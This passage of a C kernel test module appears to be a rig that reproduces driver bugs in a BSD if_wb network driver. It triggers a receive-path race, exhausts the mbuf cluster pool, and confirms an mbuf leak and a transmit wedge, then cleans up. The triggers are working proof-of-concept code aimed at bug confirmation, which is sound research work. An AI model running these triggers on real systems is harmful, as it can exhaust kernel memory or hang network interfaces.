	    "===\n",
	    use_production ? "PRODUCTION wb_rxeof" :
	    "exact-semantics transcription",
	    0xC0400300u, 0xFFFF0300u);

	bzero(df_mmio, sizeof(df_mmio));
	bzero(df_ifdata, sizeof(df_ifdata));
	p_wb_init(sc);
	df4267_fill_markers();
	df_craft_frame();
	df_ring_probe("4268-armed");
	df8_slot = &df_ldata.wb_rx_list[0].wb_status;
	*df8_slot = 0xC0400300u;

	if (!use_production) {
		/* kernel ns-rate chip on a spare CPU for the control */
		int cpu = (mycpu->gd_cpuid + 1) % ncpus;

		df8k_run = 1;
		lwkt_create(df8k_toggle_thread, (void *)df8_slot, &td, NULL,
		    cpu, 0, "df8k_tog");
		kernchip = 1;
		kprintf("dfwb3: kernel ns-rate toggle thread on CPU%d "
		    "(parks after the race; module must stay loaded)\n", cpu);
	} else {
		kprintf("dfwb3: dispatch CPU=%d — START the userland toggler "
		    "now (usched bsd4:<mask> ./df8_toggle); racing for up to "
		    "%d dispatches\n", mycpu->gd_cpuid, df8_dloop);
	}

	getmicrotime(&t0);
	for (i = 0; i < df8_dloop && !df8_won; i++) {
		if (use_production)
			p_wb_rxeof(sc);
		else
			df8_vuln_rxeof(sc);
		callout_stop(&sc->wb_stat_timer); /* no wb_tick under load */
		if ((i % (df8_dloop / 10 > 0 ? df8_dloop / 10 : 1)) == 0 &&
		    i > 0)
			kprintf("dfwb3: dispatch %d: delivered=%d "
			    "maxplen=%d won=%d\n",
			    i, df_delivered, df8_maxplen, df8_won);
	}
	getmicrotime(&t1);

	if (kernchip)
		df8k_run = 0;		/* thread parks itself */

	kprintf("dfwb3: DF-4268 %s race over after %d dispatches (~%ld s): "
	    "delivered=%d maxplen=%d WON=%d%s\n",
	    use_production ? "PRODUCTION" : "TRANSCRIPTION", i,
	    (long)(t1.tv_sec - t0.tv_sec), df_delivered, df8_maxplen,
	    df8_won, df8_won ? " — CHECK/USE DIVERGENCE" : "");

	p_wb_stop(sc);
	callout_stop(&sc->wb_stat_timer);
	if (!kernchip)
		df8_slot = NULL;
}

static void df_phase_4268_prod_wrapper(void) { df_phase_4268(1); }
static void df_phase_4268_ctl_wrapper(void) { df_phase_4268(0); }

/* ================================================================== */
/* DF-4270 — wb_start ignores wb_encap failure                         */
/* ================================================================== */
#define DF0_NMB		17		/* pkthdr + 16 data mbufs */
#define DF0_MLEN	128

static void
df_phase_4270(void)
{
	struct wb_softc *sc = &df_sc;
	struct ifnet *ifp = &sc->arpcom.ac_if;
	struct mbuf *head = NULL, **tail = &head, *m;
	struct mbuf **stash = NULL, *saved;
	struct wb_chain *c0;
	u_long mbt0, mbt1, mbt2, mbt3, drops0, drops1, op0, op1;
	int i, nstash = 0, k, leaked, eq;

	kprintf("dfwb3: === DF-4270: force the wb_encap MCLGET-failure path "
	    "under the REAL wb_start ===\n");

	bzero(df_mmio, sizeof(df_mmio));
	bzero(df_ifdata, sizeof(df_ifdata));
	p_wb_init(sc);			/* post-init TX state */

	/* build the 17-mbuf / 2176-byte chain (16-fragment overflow) */
	for (i = 0; i < DF0_NMB; i++) {
		if (i == 0) {
			MGETHDR(m, M_WAITOK, MT_DATA);
			m->m_pkthdr.len = DF0_NMB * DF0_MLEN;
			m->m_pkthdr.rcvif = ifp;
		} else {
			MGET(m, M_WAITOK, MT_DATA);
		}
		m->m_len = DF0_MLEN;
		for (k = 0; k < DF0_MLEN; k += 8)
			bcopy("DF4270LK", mtod(m, caddr_t) + k, 8);
		*tail = m;
		tail = &m->m_next;
	}
	saved = head;
	kprintf("dfwb3: crafted %d-mbuf chain, pkthdr.len=%d "
	    "(>16 fragments -> wb_encap coalesce branch; len > MHLEN -> "
	    "MCLGET required)\n", DF0_NMB, DF0_NMB * DF0_MLEN);

	mbt0 = df_mbt_total(MT_DATA);
	drops0 = df_drops_total();
	kprintf("dfwb3: baseline accounting: mbtypes[MT_DATA]=%lu "
	    "mbstat.m_drops=%lu (chain included in baseline)\n",
	    mbt0, drops0);

	/* validate the accounting method itself: alloc+free one mbuf */
	{
		struct mbuf *t;

		MGET(t, M_NOWAIT, MT_DATA);
		if (t != NULL) {
			u_long a = df_mbt_total(MT_DATA);
			int ok = (a == mbt0 + 1);
			m_freem(t);
			kprintf("dfwb3: accounting self-test: +1 alloc "
			    "observed: %d, back to %lu: %d\n",
			    ok, df_mbt_total(MT_DATA),
			    df_mbt_total(MT_DATA) == mbt0);
		}
	}

	/* drain the cluster pool: MGETHDR+MCLGET until MCLGET fails */
	stash = kmalloc(sizeof(struct mbuf *) * (nmbclusters + 4096),
	    M_TEMP, M_WAITOK | M_ZERO);
	for (;;) {
		struct mbuf *t;

		MGETHDR(t, M_NOWAIT, MT_DATA);
		if (t == NULL) {
			kprintf("dfwb3: drain stopped: MGETHDR failed "
			    "(unexpected)\n");
			break;
		}
		MCLGET(t, M_NOWAIT);
		if ((t->m_flags & M_EXT) == 0) {
			m_freem(t);
			kprintf("dfwb3: cluster pool exhausted after %d "
			    "clusters\n", nstash);
			break;
		}
		stash[nstash++] = t;
	}
	drops1 = df_drops_total();
	kprintf("dfwb3: post-drain mbstat.m_drops=%lu (+%lu — MCLGET "
	    "failure signature, uipc_mbuf.c:1249) mbtypes=%lu "
	    "(expect baseline+stash=%lu)\n",
	    drops1, drops1 - drops0, df_mbt_total(MT_DATA), mbt0 + nstash);

	/* enqueue the packet and dispatch the REAL wb_start */
	eq = ifsq_classic_enqueue(&df_subq, head, NULL);
	kprintf("dfwb3: ifsq_classic_enqueue -> %d (0 = ok); "
	    "mbtypes now %lu (enqueue must not change it)\n",
	    eq, df_mbt_total(MT_DATA));
	kprintf("dfwb3: dispatching REAL wb_start (wb_encap is inlined "
	    "into it; return value ignored at if_wb.c:1327)...\n");
	{
		u_long pre = df_mbt_total(MT_DATA);
		p_wb_start(ifp, &df_subq);
		mbt1 = df_mbt_total(MT_DATA);
		kprintf("dfwb3: wb_start mbuf delta: %ld (LEAK expects +%d; "
		    "0 means the chain was freed INSIDE wb_start!)\n",
		    (long)(mbt1 - pre), DF0_NMB);
	}
	kprintf("dfwb3: post-dispatch mbstat.m_drops=%lu (+%lu since "
	    "pre-dispatch)\n", df_drops_total(),
	    df_drops_total() - drops1);
	/* which pools are dry right now? */
	{
		struct mbuf *t;

		MGETHDR(t, M_NOWAIT, MT_DATA);
		if (t == NULL) {
			kprintf("dfwb3: post-dispatch probe: MGETHDR FAILS "
			    "(packet pool dry)\n");
		} else {
			MCLGET(t, M_NOWAIT);
			kprintf("dfwb3: post-dispatch probe: MGETHDR ok; "
			    "MCLGET %s\n",
			    (t->m_flags & M_EXT) ? "ok (!)" : "FAILS");
			m_freem(t);
		}
	}

	/* ---- evidence ---- */
	c0 = &sc->wb_cdata.wb_tx_chain[0];
	kprintf("dfwb3: post-wb_start state:\n");
	kprintf("dfwb3:   wb_tx_head=%p (== &chain[0]: %d)  wb_tx_tail=%p  "
	    "wb_tx_free=%p\n",
	    sc->wb_cdata.wb_tx_head,
	    sc->wb_cdata.wb_tx_head == c0,
	    sc->wb_cdata.wb_tx_tail, sc->wb_cdata.wb_tx_free);
	kprintf("dfwb3:   chain[0].wb_mbuf=%p (NULL: %d — wb_encap returned "
	    "BEFORE :1283 set it)\n",
	    c0->wb_mbuf, c0->wb_mbuf == NULL);
	kprintf("dfwb3:   TX queue len=%d (packet dequeued and gone)\n",
	    (int)df_subq.ifsq_len);
	kprintf("dfwb3:   frag[0]: status=%#010x ctl=%#010x "
	    "(FIRSTFRAG:%d TLINK:%d FINT:%d LASTFRAG:%d)\n",
	    c0->wb_ptr->wb_frag[0].wb_status, c0->wb_ptr->wb_frag[0].wb_ctl,
	    !!(c0->wb_ptr->wb_frag[0].wb_ctl & WB_TXCTL_FIRSTFRAG),
	    !!(c0->wb_ptr->wb_frag[0].wb_ctl & WB_TXCTL_TLINK),
	    !!(c0->wb_ptr->wb_frag[0].wb_ctl & WB_TXCTL_FINT),
	    !!(c0->wb_ptr->wb_frag[0].wb_ctl & WB_TXCTL_LASTFRAG));
	{
		int own_cnt = 0, last_cnt = 0;

		for (k = 0; k < WB_MAXFRAGS; k++) {
			if (c0->wb_ptr->wb_frag[k].wb_status & WB_TXSTAT_OWN)
				own_cnt++;
			if (c0->wb_ptr->wb_frag[k].wb_ctl & WB_TXCTL_LASTFRAG)
				last_cnt++;
		}
		kprintf("dfwb3:   frags with OWN set: %d/16; frags with "
		    "LASTFRAG set: %d/16 (unterminated chain: %s)\n",
		    own_cnt, last_cnt, last_cnt == 0 ? "YES" : "no");
		kprintf("dfwb3:   frag[15].wb_next=%#010x vs "
		    "vtophys(&frag[16])=%#010x (one-past-the-array walk)\n",
		    c0->wb_ptr->wb_frag[15].wb_next,
		    (uint32_t)vtophys(&c0->wb_ptr->wb_frag[16]));
	}
	kprintf("dfwb3:   MMIO WB_TXSTART=%#010x (0xFFFFFFFF: chip told to "
	    "TRANSMIT the half-armed descriptor, if_wb.c:1355)\n",
	    df_mmio[WB_TXSTART / 4]);
	kprintf("dfwb3:   if_timer=%d (5s watchdog armed)\n", ifp->if_timer);

	{
		u_long now = df_mbt_total(MT_DATA);
		int nmb = 0, bad = 0;
		struct mbuf *x;

		/*
		 * mbt0 was taken AFTER the chain build, so the chain's
		 * DF0_NMB mbufs are inside the baseline: the true
		 * leak-free expectation is (mbt0 - DF0_NMB) + nstash.
		 */
		leaked = (int)(now - (mbt0 - DF0_NMB) - nstash);
		kprintf("dfwb3: accounting after evidence: mbtypes[MT_DATA]="
		    "%lu (chain-inclusive baseline %lu - %d chain + %d stash "
		    "+ LEAK %d)\n",
		    now, mbt0, DF0_NMB, nstash, leaked);

		/* walk the chain from the rig's saved pointer */
		for (x = saved, nmb = 0; x != NULL && nmb < 32;
		    x = x->m_next) {
			if (x->m_len != DF0_MLEN ||
			    bcmp(mtod(x, caddr_t), "DF4270LK", 8) != 0)
				bad++;
			nmb++;
		}
		kprintf("dfwb3: saved-chain walk: %d mbufs intact "
		    "(m_len==%d, marker ok: %d damaged)\n", nmb, DF0_MLEN,
		    bad);
		if (leaked == DF0_NMB)
			kprintf("dfwb3: *** DF-4270 LEAK CONFIRMED: exactly "
			    "the %d mbufs of the dequeued packet chain are "
			    "still allocated and referenced by NOTHING "
			    "(queue empty, descriptor wb_mbuf NULL) ***\n",
			    DF0_NMB);
	}

	/* ---- wedge: the REAL TX completion engine cannot advance ---- */
	if (p_wb_txeof != NULL) {
		if (sc->wb_cdata.wb_tx_head != NULL) {
			c0->wb_ptr->wb_frag[0].wb_status = 0;/* chip 'completed'*/
			op0 = DF_STAT(ifd_opackets);
			p_wb_txeof(sc);			/* REAL wb_txeof */
			op1 = DF_STAT(ifd_opackets);
			kprintf("dfwb3: after REAL wb_txeof.part.4 with a "
			    "chip-completed head descriptor: opackets +%lu, "
			    "wb_tx_head=%p STILL SET, chain[0].wb_mbuf=%p — "
			    "the :1062 walk 'while (head->wb_mbuf != NULL)' "
			    "never entered: TX completion WEDGED (5s watchdog "
			    "is the only exit)\n", op1 - op0,
			    sc->wb_cdata.wb_tx_head,
			    sc->wb_cdata.wb_tx_chain[0].wb_mbuf);
			if (sc->wb_cdata.wb_tx_head != NULL &&
			    sc->wb_cdata.wb_tx_chain[0].wb_mbuf == NULL)
				kprintf("dfwb3: *** DF-4270 WEDGE CONFIRMED "
				    "***\n");
		} else {
			kprintf("dfwb3: wb_tx_head == NULL (nothing armed — "
			    "FIXED behaviour): wb_txeof not dispatched "
			    "(wb_intr's caller-side NULL guard, if_wb.c:"
			    "1055-1056, applies)\n");
		}
	} else {
		kprintf("dfwb3: txeof address not injected — wedge "
		    "predicates only\n");
	}

	/* ---- watchdog recovery (leak persists across it) ---- */
	if (p_wb_watchdog != NULL) {
		kprintf("dfwb3: dispatching REAL wb_watchdog (the 5s "
		    "recovery path)...\n");
		p_wb_watchdog(ifp);
		mbt2 = df_mbt_total(MT_DATA);
		kprintf("dfwb3: after watchdog: wb_tx_head=%p (recovered: "
		    "%d) mbtypes[MT_DATA]=%lu — leaked mbufs STILL leaked: "
		    "%s\n",
		    sc->wb_cdata.wb_tx_head,
		    sc->wb_cdata.wb_tx_head == NULL,
		    mbt2,
		    (int)(mbt2 - (mbt0 - DF0_NMB) - nstash) == DF0_NMB ?
		    "YES" : "no");
	}

	/* ---- rig cleanup: leave the guest clean ---- */
	{
		u_long now = df_mbt_total(MT_DATA);
		int still = (int)(now - (mbt0 - DF0_NMB) - nstash) == DF0_NMB;

		if (still) {
			m_freem(saved);		/* the leaked chain (rig-owned) */
		} else {
			kprintf("dfwb3: cleanup: chain NOT freed by wb_start "
			    "per accounting — NOT double-freeing; freeing "
			    "stash only\n");
		}
	}
	for (i = 0; i < nstash; i++)
		m_freem(stash[i]);
	kfree(stash, M_TEMP);
	p_wb_stop(sc);
	callout_stop(&sc->wb_stat_timer);
	mbt3 = df_mbt_total(MT_DATA);
	kprintf("dfwb3: rig cleanup complete: mbtypes[MT_DATA]=%lu "
	    "(baseline %lu, delta %ld — accounting restored)\n",
	    mbt3, mbt0, (long)(mbt3 - mbt0));
}

/* ------------------------------------------------------------------ */
/* go sysctls                                                          */
/* ------------------------------------------------------------------ */
static void
df_common_checks(void)
{
	kprintf("dfwb3: resolved: rxeof=%p init=%p stop=%p start=%p "
	    "txeof=%p watchdog=%p mbstat=%p mbtypes=%p\n",
	    p_wb_rxeof, p_wb_init, p_wb_stop, p_wb_start, p_wb_txeof,
	    p_wb_watchdog, p_mbstat, p_mbtypes);
	if (p_mbstat != NULL)
		kprintf("dfwb3: mbstat stride sanity: sizeof(struct "
		    "mbstat)=%#zx cachealign-stride=%#zx m_msize0=%lu "
		    "m_msize1=%lu\n", sizeof(struct mbstat),
		    DF_MBSTRIDE,
		    ((struct mbstat *)((char *)p_mbstat))->m_msize,
		    ((struct mbstat *)((char *)p_mbstat +
		      DF_MBSTRIDE))->m_msize);
}

#define DF_GO_SYSCTL(name, phase, need)					\
static int df_ran_##name;						\
static int								\
df_sysctl_go_##name(SYSCTL_HANDLER_ARGS)				\
{									\
	int error, go = 0;						\
									\
	error = sysctl_handle_int(oidp, &go, 0, req);			\
	if (error || req->newptr == NULL)				\
		return (error);					\
	if (go != 1 || df_ran_##name)					\
		return (EPERM);					\
	if (need) {							\
		kprintf("dfwb3: required addresses not injected\n");	\
		return (EINVAL);					\
	}								\
	df_ran_##name = 1;						\
	df_common_checks();						\
	lwkt_serialize_enter(&df_ser);				\
	phase();							\
	lwkt_serialize_exit(&df_ser);				\
	kprintf("dfwb3: " #name " SURVIVED — guest stays up\n");	\
	return (0);							\
}									\
SYSCTL_PROC(_kern_dfwb3, OID_AUTO, name,				\
    CTLTYPE_INT | CTLFLAG_RW, NULL, 0, df_sysctl_go_##name, "I",	\
    "run " #name);

DF_GO_SYSCTL(go4267, df_phase_4267,
    (p_wb_rxeof == NULL || p_wb_init == NULL || p_wb_stop == NULL))
DF_GO_SYSCTL(go4268, df_phase_4268_prod_wrapper,
    (p_wb_rxeof == NULL || p_wb_init == NULL || p_wb_stop == NULL))
DF_GO_SYSCTL(go4268ctl, df_phase_4268_ctl_wrapper,
    (p_wb_rxeof == NULL || p_wb_init == NULL || p_wb_stop == NULL))
DF_GO_SYSCTL(go4270, df_phase_4270,
    (p_wb_init == NULL || p_wb_stop == NULL || p_wb_start == NULL ||
     p_mbstat == NULL || p_mbtypes == NULL))

static int
df_modevent(module_t mod, int type, void *arg)
{
	switch (type) {
	case MOD_LOAD:
		df_setup();
		return (0);
	case MOD_UNLOAD:
		if (df_ran_go4267 || df_ran_go4268 || df_ran_go4268ctl ||
		    df_ran_go4270)
			callout_stop(&df_sc.wb_stat_timer);
		return (0);
	default:
		return (0);
	}
}

static moduledata_t df_mod = { "dfwb3_rig", df_modevent, NULL };
DECLARE_MODULE(dfwb3_rig, df_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);